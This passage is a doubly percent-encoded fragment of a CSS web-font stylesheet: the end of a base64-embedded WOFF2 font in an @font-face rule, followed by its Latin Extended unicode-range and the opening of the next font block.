%33%34%25%36%31%25%35%38%25%36%61%25%36%65%25%34%39%25%34%62%25%33%38%25%35%37%25%36%35%25%35%38%25%37%33%25%36%64%25%37%30%25%36%34%25%37%37%25%36%65%25%37%33%25%33%35%25%34%33%25%34%61%25%37%34%25%37%61%25%36%36%25%34%62%25%33%34%25%33%37%25%36%64%25%36%61%25%34%64%25%34%64%25%36%63%25%35%38%25%33%33%25%36%65%25%33%33%25%34%31%25%37%38%25%35%33%25%32%66%25%35%36%25%36%38%25%35%61%25%37%39%25%34%66%25%36%31%25%33%31%25%37%38%25%37%31%25%34%63%25%35%61%25%36%65%25%34%34%25%35%39%25%36%61%25%36%39%25%37%34%25%35%30%25%34%64%25%33%38%25%36%35%25%37%32%25%33%33%25%34%62%25%34%38%25%34%65%25%34%37%25%34%62%25%33%36%25%37%36%25%36%37%25%33%34%25%36%34%25%35%31%25%34%66%25%36%36%25%36%66%25%34%31%25%34%34%25%37%30%25%36%65%25%34%39%25%34%62%25%33%37%25%36%31%25%34%65%25%33%36%25%34%34%25%34%62%25%36%65%25%36%37%25%34%64%25%36%34%25%35%35%25%34%38%25%34%66%25%36%65%25%35%61%25%34%32%25%33%32%25%34%66%25%33%34%25%36%36%25%35%32%25%37%34%25%33%38%25%36%64%25%37%39%25%35%38%25%35%31%25%34%33%25%37%32%25%35%38%25%35%34%25%36%65%25%35%35%25%36%62%25%33%38%25%34%39%25%34%38%25%33%35%25%37%37%25%34%62%25%36%62%25%34%63%25%33%35%25%34%61%25%35%38%25%33%34%25%34%64%25%37%39%25%33%31%25%33%35%25%34%39%25%35%39%25%33%38%25%35%38%25%37%39%25%37%61%25%32%62%25%37%30%25%34%33%25%32%62%25%34%65%25%37%37%25%34%62%25%34%39%25%37%33%25%35%38%25%36%35%25%34%64%25%34%36%25%36%35%25%36%31%25%34%63%25%37%38%25%34%66%25%36%39%25%34%61%25%36%66%25%37%34%25%34%62%25%33%38%25%37%39%25%36%36%25%33%39%25%34%32%25%36%65%25%33%31%25%37%30%25%37%61%25%33%37%25%34%38%25%37%35%25%36%36%25%34%33%25%33%38%25%34%36%25%34%39%25%34%31%25%34%36%25%35%34%25%37%34%25%34%39%25%34%37%25%32%62%25%37%31%25%34%34%25%35%30%25%36%66%25%37%37%25%36%35%25%35%33%25%36%31%25%33%34%25%32%62%25%36%32%25%37%34%25%34%64%25%34%32%25%37%35%25%35%37%25%33%30%25%33%33%25%37%31%25%34%32%25%33%33%25%37%31%25%33%36%25%37%30%25%34%38%25%34%61%25%37%34%25%34%36%25%36%36%25%36%63%25%37%37%25%35%30%25%36%63%25%36%36%25%35%61%25%37%37%25%34%66%25%36%62%25%37%36%25%34%39%25%34%66%25%33%33%25%35%61%25%34%36%25%37%31%25%34%35%25%36%33%25%35%38%25%36%65%25%33%32%25%34%32%25%35%35%25%37%37%25%33%30%25%33%39%25%36%63%25%35%39%25%33%35%25%36%61%25%36%62%25%35%38%25%35%33%25%36%32%25%34%31%25%37%39%25%35%32%25%35%38%25%34%38%25%35%35%25%33%32%25%35%31%25%37%61%25%34%65%25%33%30%25%35%31%25%36%62%25%35%35%25%35%32%25%35%37%25%35%38%25%34%39%25%37%39%25%37%30%25%35%35%25%34%36%25%37%39%25%36%61%25%36%64%25%35%38%25%35%38%25%35%31%25%37%37%25%36%35%25%36%61%25%37%37%25%37%30%25%34%37%25%37%35%25%37%39%25%34%64%25%37%39%25%33%39%25%33%35%25%34%37%25%35%36%25%33%37%25%36%37%25%36%36%25%36%34%25%33%37%25%35%38%25%34%62%25%36%61%25%34%65%25%34%62%25%34%35%25%36%64%25%35%37%25%37%36%25%36%31%25%34%31%25%37%34%25%37%38%25%36%33%25%35%35%25%37%38%25%34%63%25%33%35%25%33%35%25%34%66%25%34%65%25%33%34%25%36%32%25%37%30%25%33%30%25%34%65%25%37%37%25%35%34%25%34%37%25%33%37%25%33%39%25%36%31%25%32%62%25%37%32%25%33%39%25%36%64%25%34%65%25%37%37%25%35%35%25%35%61%25%36%32%25%34%37%25%36%39%25%35%34%25%34%65%25%36%31%25%34%65%25%36%66%25%36%33%25%35%31%25%37%37%25%36%38%25%36%31%25%33%35%25%34%64%25%33%39%25%37%36%25%34%37%25%34%64%25%36%61%25%37%31%25%34%65%25%37%32%25%35%38%25%37%36%25%34%65%25%34%65%25%36%31%25%33%31%25%36%62%25%33%34%25%36%39%25%34%39%25%34%31%25%36%36%25%34%37%25%37%33%25%36%35%25%33%36%25%33%33%25%36%64%25%36%66%25%36%36%25%36%64%25%36%37%25%34%34%25%33%30%25%33%36%25%34%37%25%35%31%25%37%36%25%36%35%25%36%63%25%34%31%25%36%66%25%32%66%25%33%36%25%34%35%25%36%64%25%33%30%25%35%37%25%33%32%25%35%36%25%37%34%25%34%35%25%37%33%25%36%63%25%34%38%25%37%32%25%37%38%25%34%39%25%33%33%25%36%36%25%33%38%25%34%63%25%35%34%25%33%33%25%35%36%25%34%35%25%37%30%25%35%38%25%32%66%25%37%34%25%33%34%25%34%37%25%36%35%25%34%38%25%35%38%25%32%66%25%34%36%25%36%32%25%33%34%25%37%35%25%36%66%25%37%34%25%34%39%25%34%37%25%36%37%25%37%61%25%34%65%25%35%37%25%32%66%25%36%65%25%37%36%25%35%39%25%36%64%25%36%65%25%36%62%25%37%32%25%34%39%25%33%39%25%33%31%25%34%38%25%36%32%25%36%36%25%35%38%25%35%33%25%34%64%25%35%36%25%34%31%25%33%35%25%34%66%25%36%62%25%34%36%25%34%33%25%35%39%25%33%37%25%36%33%25%34%62%25%35%35%25%34%35%25%35%34%25%37%32%25%33%31%25%34%31%25%37%30%25%33%31%25%35%61%25%37%35%25%36%35%25%34%37%25%36%64%25%36%62%25%34%31%25%33%31%25%34%39%25%35%39%25%36%31%25%33%32%25%34%65%25%37%32%25%34%37%25%36%62%25%35%31%25%34%37%25%33%31%25%33%36%25%35%38%25%32%66%25%37%32%25%36%39%25%37%61%25%33%35%25%36%38%25%37%34%25%37%32%25%34%66%25%33%35%25%35%61%25%32%62%25%33%36%25%36%62%25%34%37%25%34%65%25%35%37%25%35%30%25%33%36%25%35%36%25%34%33%25%37%38%25%32%62%25%33%34%25%36%32%25%35%39%25%37%36%25%36%34%25%36%61%25%35%30%25%33%35%25%35%36%25%36%34%25%37%34%25%34%62%25%36%32%25%34%33%25%36%31%25%33%32%25%37%36%25%34%39%25%36%36%25%35%33%25%36%65%25%35%34%25%36%31%25%37%33%25%36%32%25%34%37%25%35%34%25%36%31%25%35%30%25%34%64%25%37%31%25%34%38%25%33%35%25%34%37%25%33%31%25%37%35%25%36%65%25%36%61%25%36%31%25%35%34%25%33%38%25%36%63%25%36%61%25%34%35%25%34%36%25%37%39%25%36%34%25%34%31%25%37%31%25%36%65%25%36%34%25%34%32%25%36%31%25%36%63%25%34%64%25%33%38%25%33%39%25%36%31%25%34%36%25%32%62%25%33%36%25%34%35%25%37%38%25%34%37%25%36%32%25%37%34%25%32%62%25%35%30%25%32%62%25%36%31%25%35%35%25%35%34%25%34%31%25%37%36%25%37%34%25%37%35%25%34%65%25%34%61%25%34%37%25%34%65%25%35%36%25%34%62%25%36%34%25%34%32%25%36%31%25%34%34%25%32%62%25%34%62%25%34%62%25%37%34%25%33%31%25%37%30%25%37%30%25%33%33%25%34%38%25%37%34%25%37%31%25%37%34%25%37%34%25%33%35%25%34%36%25%36%64%25%36%36%25%33%39%25%37%36%25%35%38%25%35%33%25%34%62%25%36%62%25%37%36%25%34%37%25%37%30%25%32%66%25%35%34%25%35%31%25%37%35%25%36%63%25%34%33%25%33%32%25%35%34%25%37%61%25%33%32%25%33%39%25%34%31%25%34%62%25%36%31%25%37%33%25%37%30%25%34%64%25%34%35%25%33%35%25%33%37%25%36%65%25%33%32%25%35%37%25%34%63%25%36%63%25%32%66%25%36%34%25%35%38%25%35%35%25%37%35%25%37%34%25%37%31%25%37%61%25%33%39%25%33%38%25%36%66%25%35%34%25%34%35%25%33%39%25%37%61%25%36%61%25%36%65%25%36%36%25%35%37%25%37%34%25%34%64%25%35%33%25%33%31%25%34%62%25%36%39%25%36%65%25%34%64%25%37%35%25%37%31%25%37%38%25%36%63%25%34%62%25%36%35%25%33%39%25%36%35%25%36%64%25%36%38%25%35%31%25%33%37%25%37%33%25%36%31%25%34%33%25%34%61%25%35%37%25%34%36%25%35%30%25%36%39%25%33%32%25%36%37%25%34%33%25%33%35%25%36%36%25%37%35%25%37%61%25%33%32%25%36%66%25%36%35%25%35%30%25%34%62%25%34%65%25%36%36%25%33%38%25%35%30%25%36%64%25%36%35%25%36%63%25%34%63%25%37%61%25%36%36%25%33%34%25%34%39%25%37%61%25%36%33%25%36%32%25%37%33%25%36%32%25%33%36%25%35%39%25%36%36%25%34%66%25%37%61%25%33%39%25%37%39%25%33%35%25%36%39%25%36%33%25%33%31%25%37%34%25%33%33%25%35%32%25%33%34%25%36%37%25%36%32%25%36%34%25%36%66%25%36%37%25%33%34%25%35%36%25%33%38%25%36%33%25%35%30%25%33%33%25%35%36%25%37%33%25%37%32%25%34%38%25%37%31%25%34%37%25%34%65%25%33%38%25%37%36%25%33%33%25%37%35%25%33%39%25%33%38%25%33%31%25%37%33%25%36%62%25%36%66%25%33%30%25%34%38%25%36%66%25%37%32%25%35%35%25%34%36%25%36%33%25%36%34%25%35%39%25%34%31%25%34%32%25%33%31%25%34%39%25%33%35%25%36%35%25%37%61%25%36%61%25%36%65%25%35%61%25%36%38%25%36%65%25%36%38%25%34%66%25%33%33%25%36%64%25%33%32%25%37%61%25%33%32%25%36%33%25%35%38%25%36%61%25%35%37%25%36%39%25%33%34%25%36%64%25%36%61%25%33%33%25%36%61%25%36%34%25%37%30%25%34%36%25%34%61%25%36%35%25%34%63%25%37%38%25%33%34%25%36%65%25%37%38%25%37%34%25%36%39%25%32%62%25%33%32%25%32%66%25%36%66%25%36%64%25%37%31%25%34%35%25%36%35%25%34%63%25%33%30%25%36%38%25%34%65%25%36%32%25%35%36%25%33%32%25%35%36%25%35%61%25%37%33%25%34%34%25%36%31%25%32%62%25%36%65%25%34%33%25%36%35%25%35%36%25%35%34%25%36%32%25%33%33%25%37%61%25%36%36%25%35%33%25%37%35%25%32%62%25%34%35%25%37%38%25%36%34%25%33%37%25%34%62%25%34%65%25%34%35%25%37%30%25%35%32%25%37%30%25%32%62%25%37%30%25%35%31%25%33%34%25%36%62%25%35%38%25%35%37%25%36%63%25%33%30%25%34%39%25%33%32%25%33%38%25%35%34%25%35%33%25%36%35%25%33%36%25%36%62%25%34%66%25%32%66%25%34%33%25%36%34%25%34%34%25%33%36%25%36%63%25%34%64%25%36%39%25%35%37%25%35%30%25%37%33%25%35%34%25%33%31%25%37%39%25%33%36%25%34%61%25%37%30%25%37%61%25%36%38%25%37%30%25%35%30%25%36%66%25%36%64%25%34%61%25%34%65%25%36%61%25%34%65%25%34%36%25%37%34%25%34%64%25%35%37%25%37%36%25%33%37%25%35%39%25%36%37%25%33%31%25%35%32%25%35%34%25%34%37%25%35%39%25%36%39%25%35%32%25%36%31%25%34%37%25%36%35%25%37%33%25%37%61%25%36%38%25%37%37%25%35%30%25%36%65%25%37%37%25%34%61%25%36%36%25%36%39%25%34%61%25%34%36%25%37%38%25%36%39%25%33%37%25%36%38%25%37%61%25%36%33%25%35%37%25%36%65%25%35%36%25%36%33%25%33%33%25%36%31%25%35%34%25%34%65%25%33%36%25%37%39%25%32%66%25%36%38%25%37%30%25%32%66%25%36%31%25%36%64%25%36%66%25%36%65%25%33%39%25%32%66%25%34%33%25%34%64%25%33%30%25%34%39%25%36%37%25%34%62%25%34%66%25%32%62%25%36%33%25%37%35%25%33%36%25%35%36%25%37%36%25%35%31%25%35%39%25%37%34%25%34%63%25%37%36%25%35%36%25%35%33%25%34%36%25%33%35%25%35%33%25%37%35%25%36%62%25%36%61%25%33%31%25%34%66%25%35%36%25%35%39%25%37%39%25%36%38%25%34%65%25%33%34%25%36%62%25%37%32%25%37%37%25%34%33%25%35%38%25%35%31%25%36%36%25%33%37%25%36%62%25%35%33%25%33%31%25%36%65%25%34%62%25%35%33%25%35%30%25%33%31%25%37%38%25%34%63%25%37%38%25%34%64%25%34%64%25%36%64%25%34%37%25%37%36%25%36%36%25%36%33%25%36%38%25%34%63%25%33%30%25%36%66%25%37%61%25%35%37%25%37%61%25%35%33%25%36%37%25%37%37%25%34%39%25%33%39%25%34%38%25%35%61%25%36%62%25%37%31%25%34%66%25%35%61%25%34%38%25%35%36%25%36%61%25%35%38%25%36%63%25%37%30%25%32%62%25%34%62%25%36%33%25%36%37%25%35%36%25%34%65%25%35%35%25%36%63%25%34%65%25%37%30%25%35%31%25%37%33%25%34%65%25%33%34%25%37%36%25%36%62%25%32%62%25%36%34%25%34%32%25%32%66%25%34%63%25%35%35%25%33%38%25%37%61%25%34%62%25%36%63%25%36%63%25%37%31%25%36%32%25%36%63%25%36%35%25%33%32%25%36%38%25%36%64%25%34%35%25%35%37%25%34%66%25%35%33%25%33%37%25%34%63%25%33%31%25%36%36%25%37%34%25%37%37%25%34%66%25%32%66%25%34%32%25%35%30%25%36%63%25%37%33%25%32%62%25%32%66%25%36%66%25%34%36%25%34%64%25%34%65%25%36%64%25%36%32%25%36%32%25%37%34%25%37%37%25%33%33%25%33%32%25%37%32%25%37%37%25%33%38%25%33%36%25%36%61%25%36%36%25%36%65%25%37%31%25%34%34%25%33%38%25%34%31%25%36%36%25%34%32%25%33%34%25%36%66%25%36%36%25%37%37%25%34%65%25%33%38%25%36%34%25%36%35%25%34%63%25%34%61%25%37%34%25%33%34%25%37%35%25%33%34%25%37%32%25%33%39%25%33%31%25%34%33%25%35%30%25%35%31%25%34%65%25%33%34%25%34%34%25%34%31%25%34%31%25%34%33%25%36%35%25%37%32%25%37%36%25%32%66%25%37%37%25%34%33%25%35%35%25%35%33%25%34%66%25%33%38%25%35%61%25%34%34%25%37%33%25%37%30%25%33%39%25%33%39%25%37%33%25%37%37%25%33%39%25%36%64%25%34%63%25%33%31%25%36%36%25%37%61%25%34%63%25%37%30%25%36%37%25%37%39%25%34%37%25%37%33%25%32%66%25%36%61%25%36%64%25%36%61%25%36%38%25%37%38%25%36%61%25%35%31%25%33%35%25%36%33%25%36%62%25%37%37%25%36%66%25%34%66%25%36%39%25%33%39%25%37%35%25%33%35%25%33%30%25%36%65%25%37%36%25%33%37%25%33%37%25%37%30%25%33%38%25%36%33%25%34%36%25%36%63%25%33%35%25%37%37%25%34%31%25%34%63%25%33%39%25%37%61%25%36%31%25%36%65%25%37%37%25%33%35%25%34%39%25%34%65%25%34%39%25%33%35%25%33%31%25%32%62%25%37%35%25%36%62%25%37%31%25%35%39%25%32%66%25%37%35%25%33%30%25%32%66%25%35%34%25%34%38%25%36%31%25%34%63%25%35%38%25%35%33%25%33%30%25%34%66%25%33%33%25%37%33%25%33%38%25%34%36%25%37%37%25%36%34%25%37%35%25%37%33%25%33%39%25%35%32%25%37%37%25%36%66%25%36%65%25%37%35%25%34%31%25%36%61%25%37%35%25%36%34%25%35%32%25%34%63%25%34%65%25%34%38%25%36%31%25%37%36%25%37%33%25%36%34%25%36%31%25%35%30%25%36%31%25%35%31%25%34%62%25%35%33%25%33%38%25%34%63%25%33%32%25%37%30%25%33%34%25%37%35%25%34%65%25%33%38%25%33%31%25%35%32%25%33%33%25%37%35%25%34%63%25%34%34%25%33%35%25%36%62%25%36%33%25%36%38%25%34%32%25%33%37%25%35%39%25%36%66%25%34%34%25%36%34%25%33%32%25%37%31%25%33%38%25%34%36%25%37%38%25%32%62%25%33%39%25%33%30%25%37%33%25%36%66%25%33%34%25%35%35%25%36%37%25%33%36%25%33%31%25%35%36%25%33%33%25%35%33%25%37%39%25%37%32%25%33%31%25%34%31%25%33%34%25%33%39%25%35%39%25%36%34%25%33%38%25%34%33%25%34%34%25%36%66%25%36%65%25%34%37%25%37%36%25%34%66%25%34%61%25%36%38%25%37%35%25%36%36%25%32%66%25%34%33%25%36%34%25%34%66%25%36%37%25%33%32%25%33%36%25%37%38%25%33%31%25%36%33%25%33%37%25%33%34%25%34%66%25%35%33%25%33%38%25%37%38%25%35%34%25%33%34%25%35%61%25%35%35%25%37%38%25%35%32%25%35%61%25%35%31%25%34%66%25%37%61%25%37%38%25%37%34%25%37%39%25%34%37%25%33%33%25%36%62%25%33%32%25%34%66%25%33%32%25%32%66%25%36%65%25%34%63%25%34%36%25%35%33%25%34%33%25%36%61%25%33%30%25%34%39%25%33%37%25%35%33%25%32%62%25%36%61%25%34%61%25%32%66%25%33%38%25%36%35%25%34%39%25%34%64%25%34%32%25%34%63%25%33%33%25%37%30%25%36%62%25%33%33%25%34%65%25%36%37%25%34%35%25%34%32%25%34%39%25%34%31%25%34%31%25%34%34%25%35%30%25%35%31%25%34%33%25%34%32%25%34%31%25%34%35%25%33%34%25%34%65%25%36%37%25%35%33%25%36%66%25%37%61%25%34%31%25%34%38%25%37%38%25%35%30%25%33%36%25%34%38%25%34%63%25%36%62%25%33%30%25%34%63%25%32%66%25%34%63%25%37%33%25%35%35%25%35%38%25%32%66%25%34%63%25%37%39%25%36%33%25%34%64%25%34%39%25%35%36%25%33%35%25%34%66%25%36%66%25%36%35%25%34%66%25%33%35%25%36%36%25%34%39%25%34%62%25%35%31%25%34%65%25%35%61%25%36%34%25%35%30%25%37%35%25%37%33%25%33%33%25%37%32%25%36%63%25%33%37%25%34%36%25%34%39%25%35%35%25%37%34%25%37%30%25%36%64%25%33%31%25%36%61%25%36%36%25%37%37%25%36%61%25%34%65%25%36%34%25%35%35%25%33%31%25%37%39%25%34%31%25%33%34%25%34%61%25%37%33%25%34%63%25%36%39%25%37%33%25%34%66%25%33%36%25%37%36%25%32%66%25%34%33%25%34%39%25%37%32%25%33%38%25%35%37%25%33%32%25%34%65%25%34%62%25%37%36%25%37%30%25%34%62%25%37%31%25%37%32%25%36%38%25%33%36%25%33%32%25%34%63%25%34%64%25%35%32%25%37%37%25%35%38%25%36%31%25%36%65%25%35%31%25%37%38%25%33%39%25%37%61%25%33%36%25%36%39%25%36%65%25%37%32%25%33%34%25%37%37%25%33%30%25%36%64%25%35%36%25%33%36%25%35%34%25%35%39%25%36%39%25%37%32%25%37%34%25%37%32%25%34%38%25%35%33%25%37%34%25%34%64%25%33%30%25%33%31%25%35%33%25%35%39%25%36%65%25%35%38%25%36%39%25%36%31%25%35%31%25%37%39%25%37%35%25%34%62%25%34%66%25%36%63%25%37%32%25%34%31%25%36%34%25%36%38%25%35%36%25%33%33%25%36%66%25%33%33%25%37%61%25%33%31%25%34%61%25%33%30%25%33%32%25%34%33%25%36%38%25%36%37%25%33%33%25%34%65%25%36%34%25%36%61%25%35%34%25%34%65%25%33%34%25%36%66%25%33%31%25%34%36%25%37%32%25%36%35%25%33%32%25%34%33%25%33%36%25%33%39%25%36%63%25%36%35%25%33%37%25%36%63%25%35%30%25%35%35%25%37%34%25%35%34%25%35%33%25%37%35%25%34%37%25%34%61%25%36%33%25%34%63%25%33%36%25%33%33%25%37%36%25%34%35%25%34%62%25%33%36%25%37%33%25%35%37%25%34%31%25%36%61%25%36%66%25%36%33%25%35%38%25%34%62%25%34%33%25%37%37%25%33%36%25%33%35%25%36%64%25%33%31%25%36%37%25%35%61%25%36%32%25%37%32%25%36%39%25%33%39%25%37%35%25%33%36%25%35%61%25%36%61%25%37%36%25%37%30%25%36%61%25%32%62%25%36%31%25%34%61%25%33%30%25%34%36%25%36%37%25%36%39%25%34%38%25%34%34%25%35%35%25%36%61%25%34%33%25%37%38%25%34%64%25%32%66%25%37%34%25%35%36%25%34%31%25%33%34%25%36%38%25%35%36%25%34%64%25%35%30%25%34%34%25%33%38%25%36%38%25%34%38%25%37%33%25%33%36%25%36%36%25%36%61%25%33%32%25%36%33%25%35%37%25%34%62%25%36%64%25%36%61%25%34%38%25%35%33%25%34%63%25%34%62%25%36%36%25%33%37%25%37%33%25%35%31%25%36%62%25%36%32%25%35%31%25%34%32%25%36%61%25%35%32%25%34%63%25%37%37%25%34%63%25%35%39%25%35%32%25%37%32%25%34%62%25%34%33%25%33%36%25%37%38%25%35%31%25%33%37%25%34%63%25%36%66%25%34%61%25%36%32%25%35%32%25%36%63%25%34%66%25%35%31%25%36%63%25%35%31%25%33%32%25%33%37%25%36%39%25%37%34%25%37%31%25%37%31%25%35%36%25%34%36%25%37%34%25%37%32%25%37%32%25%37%35%25%36%38%25%36%66%25%34%62%25%37%33%25%36%63%25%35%39%25%37%31%25%35%33%25%36%65%25%32%66%25%35%39%25%34%39%25%36%63%25%34%61%25%37%33%25%34%37%25%35%31%25%36%63%25%35%61%25%35%61%25%33%39%25%35%39%25%34%39%25%34%36%25%35%30%25%35%61%25%34%65%25%37%32%25%36%62%25%35%36%25%36%64%25%34%62%25%35%30%25%34%65%25%37%61%25%32%62%25%36%39%25%36%37%25%37%61%25%32%66%25%36%62%25%37%36%25%35%37%25%37%33%25%36%36%25%37%37%25%37%33%25%32%66%25%34%38%25%34%31%25%34%31%25%34%62%25%34%31%25%36%32%25%36%62%25%35%37%25%36%36%25%36%35%25%35%33%25%32%66%25%33%36%25%36%65%25%37%31%25%33%33%25%34%64%25%35%38%25%37%32%25%37%34%25%33%30%25%35%34%25%35%35%25%36%34%25%34%33%25%37%37%25%36%33%25%35%30%25%34%31%25%34%39%25%35%33%25%35%38%25%36%38%25%34%37%25%34%65%25%36%39%25%37%61%25%34%61%25%36%39%25%37%31%25%37%32%25%37%30%25%36%38%25%37%33%25%36%63%25%37%33%25%37%33%25%36%34%25%37%32%25%37%33%25%34%34%25%36%37%25%34%33%25%34%35%25%35%39%25%34%31%25%35%34%25%34%36%25%36%33%25%34%39%25%34%62%25%36%62%25%36%31%25%34%39%25%36%32%25%36%63%25%36%35%25%34%61%25%34%36%25%35%39%25%34%39%25%37%30%25%35%38%25%34%61%25%34%36%25%35%35%25%37%31%25%35%36%25%35%37%25%37%31%25%35%30%25%35%36%25%33%36%25%35%31%25%33%31%25%34%37%25%36%62%25%33%39%25%36%63%25%36%39%25%36%61%25%35%36%25%33%32%25%36%62%25%34%65%25%37%32%25%37%36%25%34%34%25%33%36%25%35%38%25%34%61%25%33%37%25%37%36%25%34%34%25%33%36%25%32%66%25%37%37%25%34%31%25%36%37%25%33%35%25%36%64%25%35%36%25%36%63%25%35%39%25%33%32%25%36%34%25%36%37%25%33%35%25%34%66%25%34%63%25%36%64%25%33%34%25%36%35%25%36%33%25%34%63%25%34%62%25%37%39%25%33%38%25%36%33%25%37%36%25%34%39%25%34%33%25%36%37%25%36%62%25%34%63%25%34%33%25%34%39%25%37%31%25%34%61%25%36%39%25%33%34%25%36%38%25%34%62%25%35%33%25%35%35%25%37%34%25%34%39%25%37%39%25%37%33%25%36%65%25%37%32%25%33%36%25%34%33%25%36%66%25%37%30%25%34%62%25%37%39%25%36%39%25%37%31%25%37%31%25%36%32%25%34%66%25%36%36%25%34%32%25%34%39%25%34%35%25%34%37%25%35%31%25%35%35%25%35%36%25%34%34%25%35%32%25%33%30%25%34%34%25%34%35%25%37%37%25%37%33%25%36%32%25%34%32%25%37%38%25%36%35%25%34%62%25%36%38%25%33%30%25%33%39%25%34%31%25%35%33%25%34%35%25%35%32%25%34%64%25%35%31%25%36%62%25%37%30%25%34%37%25%35%34%25%37%33%25%34%38%25%35%61%25%33%37%25%34%36%25%34%33%25%36%65%25%33%36%25%33%37%25%33%33%25%33%37%25%33%37%25%37%37%25%36%32%25%36%66%25%36%35%25%33%36%25%34%63%25%37%39%25%36%33%25%34%31%25%36%64%25%34%37%25%36%37%25%36%66%25%34%36%25%34%34%25%35%31%25%34%33%25%36%66%25%37%31%25%34%36%25%35%33%25%34%31%25%35%39%25%36%31%25%36%38%25%36%36%25%35%34%25%35%36%25%33%39%25%33%37%25%37%36%25%37%38%25%32%62%25%37%32%25%33%37%25%36%34%25%37%33%25%36%37%25%34%38%25%34%31%25%34%39%25%34%31%25%35%31%25%34%64%25%37%31%25%33%38%25%35%34%25%32%66%25%33%35%25%32%62%25%37%35%25%33%32%25%37%38%25%33%32%25%34%35%25%34%35%25%34%33%25%34%63%25%34%35%25%34%64%25%36%37%25%33%35%25%36%64%25%35%35%25%33%39%25%36%34%25%34%63%25%36%36%25%35%32%25%33%37%25%37%36%25%36%35%25%37%61%25%34%31%25%35%35%25%35%31%25%37%37%25%36%38%25%33%37%25%33%39%25%36%32%25%36%39%25%37%36%25%35%30%25%33%30%25%35%34%25%33%35%25%33%31%25%34%62%25%37%34%25%36%64%25%36%35%25%37%36%25%37%32%25%36%32%25%35%33%25%35%38%25%34%65%25%34%63%25%34%32%25%34%62%25%35%33%25%36%39%25%33%38%25%37%34%25%37%32%25%34%34%25%35%30%25%37%36%25%36%31%25%32%66%25%35%35%25%33%34%25%36%34%25%36%37%25%35%61%25%37%37%25%34%34%25%37%61%25%34%38%25%34%65%25%36%33%25%37%36%25%33%36%25%34%31%25%37%33%25%34%39%25%34%31%25%36%37%25%33%30%25%34%63%25%36%61%25%33%34%25%36%39%25%34%64%25%34%33%25%36%66%25%34%61%25%34%31%25%36%38%25%37%61%25%34%39%25%34%31%25%34%31%25%34%31%25%34%31%25%36%38%25%36%36%25%34%39%25%33%32%25%33%32%25%35%30%25%32%66%25%37%33%25%33%38%25%33%34%25%34%32%25%34%37%25%35%32%25%35%35%25%35%35%25%34%35%25%35%31%25%36%31%25%34%65%25%36%38%25%33%37%25%32%62%25%37%34%25%33%35%25%34%33%25%35%32%25%34%37%25%35%32%25%35%35%25%33%30%25%34%63%25%33%32%25%36%62%25%37%36%25%37%38%25%37%61%25%33%36%25%36%65%25%37%32%25%36%31%25%33%33%25%34%38%25%34%32%25%33%34%25%35%32%25%34%37%25%36%36%25%35%36%25%36%35%25%33%31%25%34%36%25%33%38%25%34%65%25%34%34%25%36%32%25%37%35%25%36%35%25%33%37%25%37%38%25%35%61%25%32%66%25%33%39%25%33%38%25%34%66%25%33%30%25%34%33%25%36%37%25%35%36%25%37%38%25%37%33%25%36%63%25%37%39%25%33%30%25%33%33%25%35%30%25%37%38%25%36%65%25%34%34%25%34%66%25%35%31%25%36%65%25%37%33%25%34%61%25%33%38%25%36%38%25%36%36%25%36%66%25%34%38%25%37%38%25%36%64%25%33%38%25%35%33%25%36%39%25%37%37%25%36%62%25%33%38%25%33%30%25%37%30%25%35%36%25%33%31%25%35%37%25%33%36%25%33%33%25%35%36%25%36%34%25%36%38%25%34%65%25%34%62%25%33%38%25%34%38%25%33%35%25%37%34%25%34%33%25%37%36%25%33%32%25%32%66%25%34%62%25%32%62%25%33%38%25%35%35%25%37%36%25%35%61%25%34%35%25%34%32%25%37%34%25%35%33%25%34%39%25%34%64%25%36%36%25%36%64%25%33%30%25%34%62%25%32%66%25%36%32%25%33%38%25%37%32%25%33%37%25%36%38%25%36%33%25%37%34%25%34%32%25%33%34%25%32%66%25%37%36%25%37%31%25%37%61%25%37%36%25%36%34%25%36%37%25%36%36%25%34%61%25%36%36%25%37%36%25%37%35%25%36%61%25%36%61%25%37%39%25%34%38%25%33%37%25%35%38%25%34%39%25%33%36%25%37%32%25%35%61%25%36%38%25%36%35%25%37%36%25%37%31%25%36%34%25%34%64%25%35%31%25%35%33%25%33%32%25%33%39%25%35%33%25%36%33%25%34%36%25%36%38%25%37%39%25%35%39%25%36%36%25%35%35%25%36%66%25%33%33%25%36%39%25%35%61%25%33%33%25%37%39%25%33%37%25%36%64%25%33%39%25%37%36%25%34%61%25%33%39%25%32%62%25%37%32%25%33%30%25%33%31%25%34%65%25%33%30%25%35%38%25%32%66%25%33%30%25%37%31%25%33%38%25%36%65%25%36%36%25%37%35%25%37%36%25%37%37%25%36%39%25%36%32%25%37%38%25%34%65%25%36%36%25%33%38%25%33%34%25%35%30%25%35%30%25%33%30%25%37%32%25%34%63%25%37%37%25%34%31%25%33%64%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%30%25%33%32%25%32%64%25%33%30%25%33%31%25%33%30%25%33%33%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%31%25%33%30%25%32%64%25%33%30%25%33%31%25%33%31%25%33%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%32%25%33%38%25%32%64%25%33%30%25%33%31%25%33%32%25%33%39%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%33%36%25%33%38%25%32%64%25%33%30%25%33%31%25%33%36%25%33%39%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%34%31%25%33%30%25%32%64%25%33%30%25%33%31%25%34%31%25%33%31%25%32%63%25%32%30%25%35%35%25%32%62%25%33%30%25%33%31%25%34%31%25%34%36%25%32%64%25%33%30%25%33%31%25%34%32%25%33%30%25%32%63%25%32%30%25%35%35%25%32%62%25%33%31%25%34%35%25%34%31%25%33%30%25%32%64%25%33%31%25%34%35%25%34%36%25%33%39%25%32%63%25%32%30%25%35%35%25%32%62%25%33%32%25%33%30%25%34%31%25%34%32%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%63%25%36%31%25%37%34%25%36%39%25%36%65%25%32%64%25%36%35%25%37%38%25%37%34%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25